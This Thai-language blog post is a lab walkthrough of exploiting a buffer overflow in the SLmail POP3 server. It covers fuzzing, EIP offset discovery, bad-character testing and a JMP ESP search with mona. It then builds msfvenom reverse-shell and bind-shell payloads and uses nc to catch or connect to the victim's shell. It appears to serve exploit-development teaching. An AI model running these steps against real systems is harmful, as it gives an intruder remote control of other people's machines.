ขั้นตอนการแฮก SLmail POP3 Server ด้วย Buffer Overflow อย่างละเอียด

Kaori Takase
6 min readJul 8, 2021

Application ที่ 2 คือ Slmail หน้าตาเป็นเหมือนในภาพเลย เป็นapplication โจมตีที่ server เป็น multi user หมายถึงระบบปฏิบัติการสาสามารถรองรับการใช้งานของผู้ใช้ได้มากกว่า 2 คน พร้อมกัน ค่ะ Step การแฮกก็คล้ายกับ ftpshell เลยเพราะเป็นการทำ Buffer overflow เหมือนกัน

มาเริ่มกันเลย!

Step1. ก็หาต้องรู้ ip address ของแต่ละเครื่อง

Ip address ฝั่ง Hacker (Server)
Ip address ฝั่ง เหยื่อ

Step2. ที่ SLmail คลิกขวา กด run administrator แล้วเลือกที่ control กด Start

หลังจากนั้นก็มา check port ของ slmail โดย SLmail ใช้ port เป็น 110 ใช้คำสั่ง netstat -ano เพื่อดูว่ากำลังใช้งานอยู่

จะเห็นได้ว่า port 110 กำลังเปิด อยู่ เมื่อรู้ว่า portเปิดแล้วไปที่ step3

Step3. เปิด Immunity Debugger กดที่ Attach -> Slmail แล้วก็กด run

Step4. ใช้ Code Fuzzing เพื่อทดสอบ Overflow ของระบบ

ใช้ ip address ต้องเป็น ip ของเหยื่อแล้วทดสอบใส่ counter=100 แล้วให้ขนาดของ buffer ให้น้อยกว่า 30 ให้ A เป็นจำนวนของ counter จากนั้นก็ ส่งเพิ่มทีละ 200byte เข้าไปในregister

แล้วทำการโจมตี Fuzzing (run script) รอจนกว่า server crash

จากนั้นก็ไปดูที่ Immunity Debugger

Server Crash ที่ประมาณ 2900 bytes และ A ก็ไปทับที่ EIP register 4 ตัว

จะเห็นได้ว่าDebugger Paused หลังจากนั้น เราต้อง Restart Debugger และ Slmail ทุกครั้งเมื่อ Run script

Step5. ใช้ Metasploit framework pattern.rb เพื่อ ควบคุม EIP Register

ซึ่งใน EIP register เป็น EIP Instruction poiter เป็นตัวชี้คำสั่งว่า program นั้น ได้ทำงานอยู่ เราต้องควบคุมมัน เพื่อทำ buffer overflow attack ได้

ก่อนอื่นเราต้องหาค่าตำแหน่ง buffer ที่เขียนทับ ใน EIP register ใช้คำสั่ง pattern_create.rb

โดยเราจะเลือก length เป็น 3000 จากที่เราเห็นโปรแกรม crash ที่ 2900 bytes เราควรจะใช้ความยาวให้มากๆเพื่อให้เกิด overflow ใช้ทดสอบ

ต่อไปก็ copy ค่าที่ได้

เก็บไว้ใน ตัวแปร pattern เพื่อทดสอบระบบ หลังจากนั้น ก็ Run script ไปดูที่ Debugger

จะเห็นว่า ได้ตำแหน่ง EIP=39694438 เพื่อนำมา query ต่อ โดยใช้คำสั่ง pattern_offset.rb

เราจะได้ค่า offset=2606 ก็คือเรารู้แล้วว่าเป็นจำนวนของ A เท่ากับ 2606 แล้วมาแก้ code

จำนวนของA ที่ได้(offset)นั้นเพื่อนำมาทดสอบ ว่าทับค่าจริงไหม และทดสอบจริงหรือเท็จโดยเราจะใส่ B เข้าไป ถ้าจริง แสดงว่าค่า hex number เท่ากับ 42 หรือ B ใน ASCII จะไปทับที่ EIP จำนวน 4 ตัวและ C ซึ่งนำไปทดสอบพื้นที่เก็บ shell code C จะประมาณ 500bytes ให้เพียงพอกับพื้นที่

หลังจากนั้นก็ run script

จะเห็นได้ว่า EIP ถูกทับ ด้วยค่า hex number 42 หรือ B จำนวน 4 ตัว แสดงว่าเราสามารถควบคุม EIP ได้ แล้วใน Stack การคำนวณ byte พื้นที่ของ shellcode C ตกอยู่ตำแหน่งที่ 1AC ประมาณ 654 bytes

เมื่อคำนวณ พื้นที่ของ shellcode ได้แล้ว ทำต้อง generate shellcode แต่ว่า เวลา generate shellcode เราต้องรู้ Bad character ของ โค้ดก่อน

Step6. หา Bad character

ในการหา Bad character เราต้องนำ badchar ของทุกตัวมาทดสอบกับระบบ ใส่ในโค้ด แต่โดยทั่วไปแล้ว badchar คือ 0x00 จึงตัดตัวนี้ออกไป

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

แล้วก็ทดสอบ run script หลังจากนั้นก็ไปที่ Debugger กด ที่ Follow in Dump เพื่อดู Bad character

จะเห็นได้ว่าเกิดเลขที่หายไปคือ 0a ซึ่งก็คือ bad charcter นั้นเองค่ะ หลังจากนั้นก็ไปแก้ไข code

โดย ลบ จำนวน bad cha นั้นออกแล้ว run ใหม่จะได้

จะเห็นได้ว่าเกิดเลขที่หายไปอีกตัวก็คือ 0d แล้วก็ทำเหมือนเดิมจนได้

ค่าที่ได้ตั้งแต่ 01 จนถึง FF

เมื่อได้ bad charcter แล้ว ต่อไปหา module ที่เราสามารถใช้ในการโจมตี excute shellcode ได้

Step7. ใช้คำสั่ง !mona modules ภายใน Immunity Debugger

โดยจะเลือก modules เป็น slmfc.dll เพราะว่าเป็น false ที่ modules แสดงว่า ไม่มี SEH และ ASLR

  • ไม่มี SEH หรือ Structured Exception Handling ก็คือไม่มีการป้องกันการเขียนทับ
  • แล้วถ้าไม่มี ASLR หรือ Address space layout randomization คือจะไม่มีการป้องกัน memory ที่โจมตีแบบ buffer-overflow โดยสุ่มตำแหน่ง ที่ระบบ ของ excute code แล้ว โหลดเข้าไปใน memory

เลือกใช้เป็น ESP เพราะว่า เมื่อยิง ESP แล้วตัวแปรที่ส่งไป มันไปทับที่ ESP

ใช้คำสั่ง !mona find -s “\xff\xe4” -m slmfc.dll

เราจะเลือกเป็น ESP ที่ ip address= 5F4A358f นำมาแปรงเป็น littel-endian

Run script หลังจากนั้นก็เปิดที่ debugger

Step8. เมื่อโจมตีแล้งไปดูที่ Debugger ดูว่า สามารถใช้ ESP นี้โจมตีได้ไหม

กด Ctrl + G แล้วใส่ค่า ip address

แล้วก็กด F12 กด Breakpoint

กด Yes แล้ว Run ดู หรือว่า กด F7 Step into หรือ กด F8 Step over

จะเห็นได้ว่า Run ได้ แสดงว่าเราสามารถใช้ ESP นี้ โจมตีได้

Step 9. Generate shell code

9.1 เป็นรูปแบบ revese_shell

เราจะใช้ msfvenom จาก metasploit framework คำสั่ง

msfvenom -a x86 - -platform windows -p windows/shell_reverse_tcp LHOST=192.168.2.41 LPORT=1234 -b “\x00\x0a\x0d” -f c

copy ค่าที่ได้ แก้ไข script

จาก script เพิ่มตัวแปร nop หรือ no operation เข้าไปเท่ากับ x90 เป็น opcode ของ assembly เพื่อให้ shellcode มี พื้นที่ จำนวน 20 ตัว
ในตัวแปร shell ส่ง A จำนวนที่เราได้ รวมกับ ESP ที่เราใช้โจมตี + nop + shellcode ที่เรา generate มาเก็บไว้ในตัวแปร buff + ตัว C แล้วหักล้างกับขนาดของ offset จำนวนที่ไปทับที่ EIP กับ size ของ shellcode จำนวนของ nop เพื่อไม่ให้ส่งมากเกินไป
เรา ต้องเปิดรับฟัง listening เปิดport รอก่อน ใช้คำสั่ง nc -nlvp LPORT

แล้วโจมตี!

เราก็จะได้ shell ของเหยื่อเป็นที่เรียบร้อย

ต่อไปเรามาใช้เป็น รูปแบบ Bind Shell

9.2 ใช้เป็นรูปแบบ bind_shell

ใช้คำสั่ง

msfvenom -a x86 - -platform windows -o windows/shell_bind_tcp LPORT=1234 -b “\x00\x0a\x0d” -f c

หลังจากนั้นก็เหมือนเดิม copy ไปแก้ code แล้ว Run script หรือ โจมตี

โดยBind shell ก็คือการที่ให้เครื่องเหยื่อเปิด port

เมื่อโจมตีแล้ว เราใช้ คำสั่ง nc ip address เหยื่อ LPORT

จะเห็นได้ว่าเราได้ Shellของเหยื่อเป็นที่เรียบร้อย

สามารถดู port ที่ Hacker เข้ามาโจมตีได้ ในเครื่องเหยื่อ

สุดท้ายนี้ เราได้ทำเป็นคลิปวีดิโอในการสาธิตเอาไว้ หากผิดพลาดประการใดขออภัยมา ณ ที่นี้ด้วย

--

--